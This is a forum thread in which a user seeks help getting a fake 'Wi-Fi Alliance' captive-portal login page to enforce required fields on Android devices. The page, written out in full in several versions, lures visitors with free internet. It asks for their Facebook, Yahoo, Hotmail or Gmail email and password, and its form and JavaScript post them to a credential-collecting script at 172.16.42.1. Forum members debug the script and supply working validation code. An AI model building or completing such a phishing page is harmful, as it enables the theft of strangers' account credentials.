Jump to content

How to get a working "required" fields on android devices?


daniboy92

Recommended Posts

Hi all,

I want to make a html web with two fields and a login button. I make this

<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>

These fields are required, what works with all browsers except Safari. Now i need to make these fields obligatory for android devices...
I find this references:
1) http://stackoverflow.com/questions/21209952/android-webview-html-form-required-fields
2) http://stackoverflow.com/questions/24647180/submitting-hidden-field-data-on-android-ios-browsers-does-not-work

They say html web need a javascript function to get a working required fields on android devices.
I have no idea with javascript, someone can help me with this?

All my html code:

<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.
Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>

<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />

<form action="http://172.16.42.1/captureWA.php" method="post">
<fieldset>
<table width="320">
<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
<tr>
<td><img src="/images/facebooklogo.png" /></td>
<td><img src="/images/yahoologo.jpg"/></td>
<td><img src="/images/hotmaillogo.jpg"/></td>
<td><img src="/images/gmaillogo.png"/></td>
</tr>
<tr>
</tr>
<tr></tr>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="facebook" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="yahoo" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="hotmail" /></td>
<td align=center ><input type="submit" onclick="sendInfo();return false;" value="Login" name="gmail" /></td>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />

</fieldset>
</form>
</center>
</body>
</html>

Link to comment
Share on other sites

I think the idea is that you clean out the form tag and only provide an onSubmit which references a javascript function that inspects the fields and does the actual submitting if all is ok.

So:

<script>
    function validate() {
        if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
            alert("Please fill in all form fields");
        } else {
            // Post the data
        }
    }
</script>
<form onSubmit="validate()">...

For the posting of the data, look here

Edited by Cooper
Link to comment
Share on other sites

But... Clean it completely? I ask this because 172.16.42.1/captureWA.PHP aims to a file who collects my credentials.

I'm a little confuse, because I don't speak English very well (and Google translate doesn't help always) and don't know nothing about Javascript. Can you explain that more easily?

Thanks!!!

Link to comment
Share on other sites

Looking at the problem and your existing code a little longer, let's try this slightly differently.

Change your submit elements to simple buttons. Old:

<input type="submit" onclick="sendInfo();return false;" value="Login" name="facebook" />

New:

<button name="facebook" onclick="sendInfo();return false;">Login</button>

That sendInfo function would check if the form fields contain data as you require. If it's happy with the field contents it can simply do:

document.forms[0].submit()

to submit the form.

Link to comment
Share on other sites

Thanks! I tried you tips, implement this:

<td align=center ><button name="facebook" onclick="sendInfo();return false;">Login</button></td>

<td align=center ><button name="yahoo" onclick="sendInfo();return false;">Login</button></td>
<td align=center ><button name="hotmail" onclick="sendInfo();return false;">Login</button></td>
<td align=center ><button name="gmail" onclick="sendInfo();return false;">Login</button></td>
And this:

<form onSubmit="validate()" action="http://172.16.42.1/captureWA.php" method="post">...

And this:

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
alert("Por favor rellene correctamente las casillas");
} else {
// Post the data
}
}
Final result:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function validate() {
if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
alert("Por favor rellene correctamente las casillas");
} else {
// Post the data
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var usernamevalue=encodeURIComponent(document.getElementById("username").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
<head>
<title>Internet Gratis | Wi-Fi Alliance</title>
</head>
<body>
<center>
<br />
<img src="/images/wifi-alliance.png" width="20%"><br />
<br />
<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.
Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>
<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />
<form onSubmit="validate()" action="http://172.16.42.1/captureWA.php" method="post">
<fieldset>
<table width="320">
<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
<tr>
<td><img src="/images/facebooklogo.png" /></td>
<td><img src="/images/yahoologo.jpg"/></td>
<td><img src="/images/hotmaillogo.jpg"/></td>
<td><img src="/images/gmaillogo.png"/></td>
</tr>
<td align=center ><button name="facebook" onclick="sendInfo();return false;">Login</button></td>
<td align=center ><button name="yahoo" onclick="sendInfo();return false;">Login</button></td>
<td align=center ><button name="hotmail" onclick="sendInfo();return false;">Login</button></td>
<td align=center ><button name="gmail" onclick="sendInfo();return false;">Login</button></td>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
</fieldset>
</form>
</center>
</body>
</html>

I can't get this html works on android devices, they can pass trought my captive portal.

I don't know what i miss, i hope you can help me.

Edited by daniboy92
Link to comment
Share on other sites

    function validate() {
        if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
            // The fields are empty so alert them
            alert("Por favor rellene correctamente las casillas");
            return false;
        } else {
            // They typed in information so send the info
            sendInfo();
        }
    }

You want to check and make sure that the username and password fields are not empty and if they are you are popping up a message. If they have put stuff in the fields then you want to send info. Go head and replace your validate function with mine.

Now that validate is calling sendInfo() you know longer need to call it onclick, Instead you want to call validate.

<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>

I highly recommend you go through http://www.w3schools.com/ and learn HTML, JavaScript, and CSS

Edited by newbi3
Link to comment
Share on other sites

I applied you code newbi3, and this is how it looks:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var usernamevalue=encodeURIComponent(document.getElementById("username").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function validate() {
if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
// The fields are empty so alert them
alert("Por favor rellene correctamente las casillas");
return false;
} else {
// They typed in information so send the info
sendInfo();
}
}
</script>
<head>
<title>Internet Gratis | Wi-Fi Alliance</title>
</head>
<body>
<center>
<br />
<img src="/images/wifi-alliance.png" width="20%"><br />
<br />
<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.
Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.
</Strong></p>
<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!.
</Strong></p>
<form action="http://172.16.42.1/captureWA.php" method="post">
<fieldset>
<table width="320">
<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
<tr>
<td><img src="/images/facebooklogo.png" /></td>
<td><img src="/images/yahoologo.jpg"/></td>
<td><img src="/images/hotmaillogo.jpg"/></td>
<td><img src="/images/gmaillogo.png"/></td>
</tr>
<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="yahoo" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="hotmail" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="gmail" onclick="validate();return false;">Login</button></td>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
</fieldset>
</form>
</center>
</body>
</html>
But for some reasons it doesn't work. When i login with with an empty login it pass through my web. It's strange but when i click "login" with empty fields it doesn't show any alert or popup "Por favor rellene correctamente las casillas":

function validate() {

if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
// The fields are empty so alert them
alert("Por favor rellene correctamente las casillas");
return false;
} else {
// They typed in information so send the info
sendInfo();
}

And this alerts too:

function sendInfo() {

var xmlhttp = new ajaxRequest();
var usernamevalue=encodeURIComponent(document.getElementById("username").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}

I think there are conflict with this two functions...

It's very very difficult to me learn html or javascript on those webs because i don't speak english very well, i learn testing code by your help, technical english it's a little imposible for me .

Edited by daniboy92
Link to comment
Share on other sites

In the validate function, make this the very first 2 lines:

alert("Username: " + document.username.value );
alert("Password: " + document.password.value );

When you click any of the buttons you should get 2 pop-ups that show what's in each input field.

If you don't get the pop-ups, the button doesn't call the validate function.

If the pop-ups only show the fixed text and not any field contents, then "document.username.value" or "document.password.value" is not producing the field value for some reason.

Link to comment
Share on other sites

In the validate function, make this the very first 2 lines:

alert("Username: " + document.username.value );
alert("Password: " + document.password.value );

When you click any of the buttons you should get 2 pop-ups that show what's in each input field.

If you don't get the pop-ups, the button doesn't call the validate function.

If the pop-ups only show the fixed text and not any field contents, then "document.username.value" or "document.password.value" is not producing the field value for some reason.

Added this and nothing happends, i can bypass the login without any popups or alerts. I don't know where is the problem. Let you my actual code:

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var usernamevalue=encodeURIComponent(document.getElementById("username").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
xmlhttp.open("POST", "http://172.16.42.1/captureWA.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
window.location = document.getElementById("redirect").value;
}
}
function validate() {
alert("Username: " + document.username.value );
alert("Password: " + document.password.value );
if ((document.username.value.trim()=="") || (document.password.value.trim()=="")) {
// The fields are empty so alert them
alert("Por favor rellene correctamente las casillas");
return false;
} else {
// They typed in information so send the info
sendInfo();
}
}
</script>
<head>
<title>Internet Gratis | Wi-Fi Alliance</title>
</head>
<body>
<center>
<br />
<img src="/images/wifi-alliance.png" width="20%"><br />
<br />
<p><Strong>Bienvenido a WiFi Alliace Hot-Spot.
Para iniciar sesi&oacuten en la red WiFi primero necesita crear una cuenta a trav&eacutes de cualquiera de sus p&aacuteginas favoritas.</Strong></p>
<p><Strong>Por favor, introduzca su cuenta Facebook, Yahoo, Hotmail o Gmail para registrarse. Una vez registrado podrá disfrutar de 60 minutos de internet &iexclGRATIS!. </Strong></p><br />
<form action="http://172.16.42.1/captureWA.php" method="post">
<fieldset>
<table width="320">
<tr>
<td><label>Email</label></td>
<td><input type="text" id="username" name="username" placeholder="Ingrese su email" />
<td><label>Contrase&ntildea</label></td>
<td><input type="password" id="password" name="password" placeholder="Ingrese su contraseña" />
</tr>
<tr>
<td><img src="/images/facebooklogo.png" /></td>
<td><img src="/images/yahoologo.jpg"/></td>
<td><img src="/images/hotmaillogo.jpg"/></td>
<td><img src="/images/gmaillogo.png"/></td>
</tr>
<tr>
</tr>
<tr></tr>
<td align=center ><button name="facebook" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="yahoo" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="hotmail" onclick="validate();return false;">Login</button></td>
<td align=center ><button name="gmail" onclick="validate();return false;">Login</button></td>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
</fieldset>
</form>
</center>
</body>
</html>

Thanks for your support!

Link to comment
Share on other sites

I made an HTML file with that exact content and loaded it in Firefox. I then opened the Web Console (Ctrl+Shift+K or somewhere under tools in the browser menu). It displayed the following error when I clicked any of the buttons:

TypeError: document.username is undefined

Conclusion: The validate() function is being called but because that alert contains shitty code (you're welcome) the execution of the script immediately aborts.

Here's the working function:

function validate() {
    if ((document.getElementById("username").value.trim()=="") || (document.getElementById("password").value.trim()=="")) {
        // The fields are empty so alert them
        alert("Por favor rellene correctamente las casillas");
        return false;
    } else {
        // They typed in information so send the info
        sendInfo();
    }
}
Edited by Cooper
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...